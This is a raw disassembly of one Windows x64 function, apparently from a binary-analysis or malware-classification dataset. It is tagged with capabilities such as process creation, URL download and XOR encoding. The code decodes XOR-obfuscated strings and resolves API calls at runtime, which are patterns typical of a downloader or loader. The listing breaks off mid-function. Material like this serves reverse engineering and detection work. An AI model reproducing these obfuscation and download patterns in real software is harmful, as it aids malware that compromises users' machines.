Function at 0x140008f20
Capabilities:
Create process on windows
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x540]
sub rsp, 0x640
xor edi, edi
mov r14d, r8d
mov ebx, edi
nop
lea rdx, [0x1400477f0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400477d0]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140008f50
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047830]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047810]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140008fa0
xor ecx, ecx
call fcn.14002a80c
mov rcx, rax
call fcn.140024910
mov ebx, edi
nop dword [rax]
lea rdx, [0x140047870]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047850]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009000
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x1400478b0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047890]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009050
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x1400478e0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400478c0]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400090a0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047920]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047900]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400090f0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047960]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047940]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009140
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x1400479a0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047980]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009190
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x1400479d0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400479c0]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400091e0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047a10]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047a00]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009230
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047a38]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047a28]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009280
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047a78]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047a68]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400092d0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047ab8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047aa8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009320
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047af8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047ae8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009370
mov rax, qword gs:[0x58]
mov r13d, dword [0x140062c10]
mov edx, 0xb0
mov qword [rsp + 0x638], r15
mov r9d, 0x90
mov rcx, qword [rax + r13*8]
mov eax, dword [rdx + rcx]
test al, 1
jne 0x1400094d3
movups xmm0, xmmword [0x14004ad58]
mov qword [rcx + r9], rdi
or eax, 1
movups xmm1, xmmword [0x14004ad68]
mov word [rcx + r9 + 8], di
lea r8, [rsp + 0x5c]
mov dword [rdx + rcx], eax
lea r10, [rsp + 0x50]
lea rax, [rcx + r9]
xor ecx, ecx
mov byte [rax + 0xa], dil
lea r11, [rsp + 0x52]
mov edx, edi
movaps xmmword [rsp + 0x50], xmm0
lea rdi, [rsp + 0x56]
movaps xmmword [rsp + 0x60], xmm1
xorps xmm0, xmm0
lea rbx, [rsp + 0x54]
lea rsi, [rsp + 0x58]
sub rdi, rax
lea r14, [rsp + 0x5a]
sub r8, rax
movups xmmword [rax + 0xc], xmm0
sub r10, rax
mov word [rax + 0x1c], cx
sub r11, rax
lea r15, [rsp + 0x5e]
sub rbx, rax
lea rcx, [rax + 0xe]
sub rsi, rax
sub r14, rax
sub r15, rax
nop dword [rax]
movzx eax, word [rcx + r8 - 0xe]
add edx, 9
mov word [rcx - 2], ax
movzx eax, word [r10 + rcx]
mov word [rcx], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 2], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 4], ax
movzx eax, word [rdi + rcx]
mov word [rcx + 6], ax
movzx eax, word [rsi + rcx]
mov word [rcx + 8], ax
movzx eax, word [r14 + rcx]
mov word [rcx + 0xa], ax
movzx eax, word [rcx + r8]
mov word [rcx + 0xc], ax
movzx eax, word [r15 + rcx]
mov word [rcx + 0xe], ax
lea rcx, [rcx + 0x12]
cmp edx, 9
jb 0x140009470
mov r14d, dword [rbp + 0x590]
xor edi, edi
mov rax, qword gs:[0x58]
mov r10, qword [rax + r13*8]
cmp byte [r9 + r10 + 0xa], 0
jne 0x140009503
lea r8, [r9 + r10]
mov edx, edi
nop
movsxd rcx, edx
lea eax, [rdx + 0x78]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 9
jb 0x1400094f0
lea rcx, [r9 + 0xc]
mov byte [r9 + r10 + 0xa], 1
add rcx, r10
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
mov ebx, edi
nop dword [rax + rax]
lea rdx, [0x140047b38]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047b28]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009520
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047b78]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047b68]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009570
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047bb8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047ba8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400095c0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047bf8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047be8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009610
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047c38]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047c28]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009660
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047c78]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047c68]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400096b0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047cb8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047ca8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009700
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047cf8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047ce8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009750
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047d38]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047d28]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400097a0
test rsi, rsi
je 0x14000cbb1
mov ebx, edi
nop dword [rax]
nop word [rax + rax]
lea rdx, [0x140047d88]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047d68]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009800
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047dc8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047da8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009850
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047e08]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047de8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400098a0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047e48]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047e28]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400098f0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047e88]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047e68]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009940
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047ec8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047ea8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009990
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140047f08]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047ee8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x1400099e0
lea rcx, [rbp + 0x598]
call fcn.1400061b0
cmp byte [rax + 9], 0
jne 0x140009a54
mov r8d, edi
nop dword [rax]
movsxd rdx, r8d
lea ecx, [r8 + 0x79]
inc r8d
xor byte [rdx + rax + 0xa], cl
cmp r8d, 0xf
jb 0x140009a40
lea rdx, [rax + 0xa]
mov byte [rax + 9], 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r15d, r15d
mov rdi, rax
mov ebx, r15d
nop
lea rdx, [0x140047f48]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047f28]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009a70
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140047f88]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047f68]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009ac0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140047fc8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047fa8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009b10
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048008]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140047fe8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009b60
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048048]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048028]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009bb0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048088]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048068]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009c00
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400480c8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400480a8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009c50
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048120]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048100]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009ca0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048160]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048140]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009cf0
test rdi, rdi
je 0x14000cba8
mov ebx, r15d
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x1400481b0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048190]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009d50
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400481f0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400481d0]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009da0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048230]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048210]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009df0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048270]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048250]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009e40
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400482b0]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048290]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009e90
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048328]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400482d0]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009ee0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048368]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048348]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009f30
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400483a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048388]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009f80
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400483e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400483c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x140009fd0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048428]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048408]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a020
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048468]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048448]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a070
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400484a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048488]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a0c0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400484e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400484c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a110
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048528]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048508]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a160
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048568]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048548]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a1b0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400485a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048588]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a200
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400485e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400485c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a250
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048628]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048608]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a2a0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048668]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048648]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a2f0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400486a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048688]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a340
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400486e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400486c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a390
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048728]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048708]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a3e0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048768]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048748]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a430
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400487a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048788]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a480
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400487e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400487c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a4d0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048828]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048808]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a520
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048868]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048848]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a570
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400488a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048888]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a5c0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400488e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400488c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a610
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048928]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048908]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
